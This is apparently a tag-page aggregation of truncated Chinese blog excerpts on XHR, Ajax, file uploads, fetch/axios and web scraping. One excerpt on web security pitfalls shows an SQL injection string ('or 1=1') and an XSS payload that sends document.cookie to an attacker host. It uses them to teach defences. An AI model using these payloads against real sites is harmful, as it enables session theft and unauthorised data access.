XHR

https://www.jianshu.com/p/35c85b10cade 说到底还是es6闹得，ie浏览器不支持es6 实际碰到的问题分两步才解决 1. 直接打开是空白页：让ie支持vue 解决方式：安装 "babel-polyfill" 即可。 命令：cnpm install --save-dev babel-polyfill //我用的是淘宝镜像，所以是cnpm，如果你没有安装使用npm 即可。 在入口main.js文件引入：import 'babel-polyfill' 最后一步，在build文件夹下找到webpack.base.conf.js. 将第10行的内容替换一下即可。 https://blog.csdn.net/weixin_44093149/article/details/99569736 使用vue-cli3创建的项目，在谷歌浏览器运行没有问题，但在火狐浏览器、ie浏览器和edge浏览器上运行都会报错（就测试了这几个浏览器，其它的没测），具体报错内容如下： // 火狐浏览器 报错如下 "载入页面时与 ws://localhost:8080/sockjs-node/631/u0rsdsy0/websocket 的连接中断" // ie浏览器 报以下错误 SCRIPT5022: SecurityError sockjs.js ( 1683,3 ) //

目录 1. 前言 2. 关于vue-simple-uploader 3. 基于vue-simple-uploader封装全局上传组件 4. 文件上传流程概览 5. 文件分片 6. MD5的计算过程 7. 秒传及断点续传 7.1 对于前端来说 7.2 前端做分片检验：checkChunkUploadedByResponse 8. 源码及后记 8.1 关于第一个分片丢失问题 2019/8/6更新 1. 前言 之前公司要在管理系统中做一个全局上传插件，即切换各个页面的时候，上传界面还在并且上传不会受到影响，这在vue这种spa框架面前并不是什么难题。然而后端大佬说我们要实现 分片上传 、 秒传 以及 断点续传 的功能，听起来头都大了。 很久之前我写了一篇webuploader的文章，结果使用起来发现问题很多，且官方团队不再维护这个插件了， 经过多天调研及踩雷，最终决定基于 vue-simple-uploader 插件实现该功能，在项目中使用起来无痛且稳定。 如果你只是想实现基本的（非定制化的）上传功能，直接使用 vue-simple-uploader ，多读一下它的文档，不需要更多的二次封装。 如果你只是想实现全局上传插件，也可以参照一下我的实现。 如果你用到了分片上传、秒传及断点续传这些复杂的功能，恭喜你，这篇文章的重点就在于此。 本文源码在此： https://github.com

Ajax基础 一、什么是ajax？ 简单来说，ajax相当于浏览器发送请求与接收响应的代理人，以实现在不影响用户浏览页面的情况下，局部刷新页面数据，从而提高用户体验。 二、ajax的实现步骤 1.创建ajax对象 创建XHR对象： var xhr = new XMLHTTpRequest ( ) 如果检测原生XHR对象不存在，且检测另一个对象ActiveX对象也不存在，就抛出一个错误。然后就要使用下面的代码在浏览器中创建XHR对象。 var xhr = createXHR ( ) ; 2.告诉ajax请求以及请求的方式 open()方法 接收三个参数： （1）要发送的请求的类型（“get”，“post”等） （2）请求的URL（服务器上文件的地址） （3）表示是否发送异步请求的布尔值。 例： xhr . open ( "get" , "example.php" , false ) ; 3.发送请求 send（）方法 接收一个参数：即要作为主体发送的数据。如果不需要通过请求主体发送数据，则必须传入null。调用send（）后，请求就会被分派到服务器。例： xhr . open ( "get" , "example.php" , false ) ; xhr . send ( null ) ; 4.获取服务器端给与用户端的响应数据

最近遇见一个需要上传超大大文件的需求，调研了七牛和腾讯云的切片分段上传功能，因此在此整理前端大文件上传相关功能的实现。 在某些业务中，大文件上传是一个比较重要的交互场景，如上传入库比较大的Excel表格数据、上传影音文件等。如果文件体积比较大，或者网络条件不好时，上传的时间会比较长（要传输更多的报文，丢包重传的概率也更大），用户不能刷新页面，只能耐心等待请求完成。 下面从文件上传方式入手，整理大文件上传的思路，并给出了相关实例代码，由于PHP内置了比较方便的文件拆分和拼接方法，因此服务端代码使用PHP进行示例编写。 本文相关示例代码位于github上，主要参考 聊聊大文件上传 大文件切割上传 文件上传的几种方式 首先我们来看看文件上传的几种方式。 普通表单上传 使用PHP来展示常规的表单上传是一个不错的选择。首先构建文件上传的表单，并指定表单的提交内容类型为enctype="multipart/form-data"，表明表单需要上传二进制数据。 然后编写index.php上传文件接收代码，使用move_uploaded_file方法即可(php大法好…) form表单上传大文件时，很容易遇见服务器超时的问题。通过xhr，前端也可以进行异步上传文件的操作，一般由两个思路。 文件编码上传 第一个思路是将文件进行编码，然后在服务端进行解码，之前写过一篇在前端实现图片压缩上传的博客

前言 本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。 作者：haoxuan10 本节中，我们以今日头条为例来尝试通过分析Ajax请求来抓取网页数据的方法。这次要抓取的目标是今日头条的街拍美图，抓取完成之后，将每组图片分文件夹下载到本地并保存下来。 准备工作 在本节开始之前，请确保已经安装好requests库。如果没有安装，可以参考第1章。另外如果你对python的库不是很熟的话，建议先去小编的Python交流.裙 ：一久武其而而流一思（数字的谐音）转换下可以找到了，里面有最新Python教程项目可拿,多跟里面的人交流，进步更快哦！ 抓取分析 在抓取之前，首先要分析抓取的逻辑。打开今日头条的首页http://www.toutiao.com/，如图6-15所示。 右上角有一个搜索入口，这里尝试抓取街拍美图，所以输入“街拍”二字搜索一下，结果如图6-16所示。 这时打开开发者工具，查看所有的网络请求。首先，打开第一个网络请求，这个请求的URL就是当前的链接http://www.toutiao.com/search/?keyword=街拍，打开Preview选项卡查看Response Body。如果页面中的内容是根据第一个请求得到的结果渲染出来的，那么第一个请求的源代码中必然会包含页面结果中的文字。为了验证

一. 常见的安全隐患 1. SQL注入 常见的案例： String query = " SELECT * FROM T_User WHERE userID = ' " + Request["userID"] + " ' ; 这个时候，只需要在传递过来的userID后面加上个： or 1=1，即可以获取T_User表中的所有数据了。 解决方案：参数化查询。 2. 跨站脚本攻击(Cross-Site Scripting (XSS)) 允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页，那么恶意用户就可以在网页中注入脚本来窃取用户数据。 eg：通过后台代码编写前端代码进行输出 1 string page += " < input name = ' userName ' type = ' TEXT ' value = ' " + request.getParameter("CC") + " ' > "; 攻击者只要输入以下数据： ' ><script>document.location= ' http: // www.attacker.com / cgi - bin / cookie.cgi ?foo = ' +document.cookie</script> ' 当该数据被输出到页面的时候

Ajax fetch axios的区别与优缺点 原生ajax: var xhr= new XMLHttpRequest(); xhr.setRequestHeader( 'content-type','application/x-www-form-urlencoded' ); xhr.open( 'post','test.php' ); xhr.send( 'name=test&age=18' ); xhr.onreadystatechange = function (){ 　　 if (xhr.readySate==4&&xhr.status==200 ){ 　　　　console.log(xhr.responseText); 　　} } jqueryAjax var btn=document.getElementById('btn' ); btn.onclick = function (){ 　　ajax({ 　　　　type: 'post' , 　　　　url: 'test.php' , 　　　　data: "name=test&&pwd=123456" , 　　　　success: function (data){ 　　　　　　console.log(data); 　　　　} 　　}); } fetch fetch('http://www.mozotech.cn

一、node.js的安装注意事项 　　　1.参考http://www.runoob.com/nodejs/nodejs-install-setup.html 　　　2.node.js如果不配置package.json文件会出现警告 npm WARN saveError ENOENT : no such file or directory .....。输入 npm init 进行配置该文件 　　3.如果npm文件丢失，在控制面板->程序 选择修复。 　　4.出现express错误，需要在运行的工程的文件夹里进行express 的安装 二、关于cocos creator 通过get 方法进行通信的实例 cocos creator: 1 send3: function () { 2 var url="http://127.0.0.1:8081/?name=1&password=2" ; 3 var xhr = new XMLHttpRequest(); 4 xhr.onreadystatechange = function () { 5 if (xhr.readyState == 4 && (xhr.status >= 200 && xhr.status < 400 )) { 6 var response = xhr.responseText; 7 console.log

目录 前言 抖音爬虫制作 选定网页 分析网页 提取id构造网址 拼接数据包链接 获取视频地址 下载视频 全部代码 实现结果 待解决的问题 前言 最近一直想要写一个抖音爬虫来批量下载抖音的短视频，但是经过几天的摸索我发现了一个很严重的问题......抖音实在是难爬！从一开始的网页分析中就有着很多的坑，但是这几天的摸索也不是一无所获，我鼓捣出来了一个问题版的抖音爬虫（操作较为复杂），所以我也想通过这篇博客来记录下我分析网页的过程，也想请教一下路过大佬们，欢迎各位大佬指出问题！ 抖音爬虫制作 选定网页 想要爬取抖音上面的视频，就要先找到可以刷小视频的地址，于是我就开始在网上寻找网页版的抖音。经过一番寻找，发现抖音根本就没有网页版的这个板块，打开的网页大多都是如下图所示提示你下载app的网页： 想要爬取小视频的内容，没有网页地址可不行。于是我又想到了另一种寻找网页的方法： 首先我打开了手机抖音，选定了一个喜欢的抖音号，使用复制链接的方法来尝试是否可以在网页中打开： 将链接粘贴到记事本中，发现它是长这个样子的 https://v.douyin.com/wGf4e1/ 将这个网址在浏览器中打开，发现这个网址可以正常显示 向下滑动，也可以看到这个账号发布的视频 ok，到现在为止，我已经选定了将这个页面作为我获取数据的起始页面 选定起始页之后，我的下一步想法是要去获取这些小视频的单独的网页地址

PS：不管你是零基础还是有基础都可以获取到自己相对应的学习礼包！包括Python软件工具和2020最新入门到实战教程。加群695185429即可免费获取。 五一假期，研究了下Python抓取动态网页信息的相关操作，结合封面的参考书、网上教程编写出可以满足需求的代码。由于初涉python，过程中曲折很多，为了避免以后遇到问题找不到相关的信息创建本文。 准备工具： Python 3.8 Google Chrome浏览器 Googledriver 测试网站： 1.集思录（https://www.jisilu.cn/data/cbnew/#cb） 测试前准备： 1.配置python运行的环境变量，参照链接（https://www.runoob.com/python3/python3-install.html） *本次测试主要采取两种方式抓取动态网页数据，一是requests及json分析的方式；一是selenium的方式。requests方式速度快，但有一些元素的链接信息抓取不到；selenium方式通过模拟打开浏览器的方式进行数据的抓取，由于要打开浏览器因此速度相对较慢，但是可抓取的信息比较全面。 主要抓取的内容如下：（网站中的一些可转债数据） requests 方式抓取网站信息： Python需要安装的相关脚本：Requests 安装方式：管理员身份运行cmd；输入 pip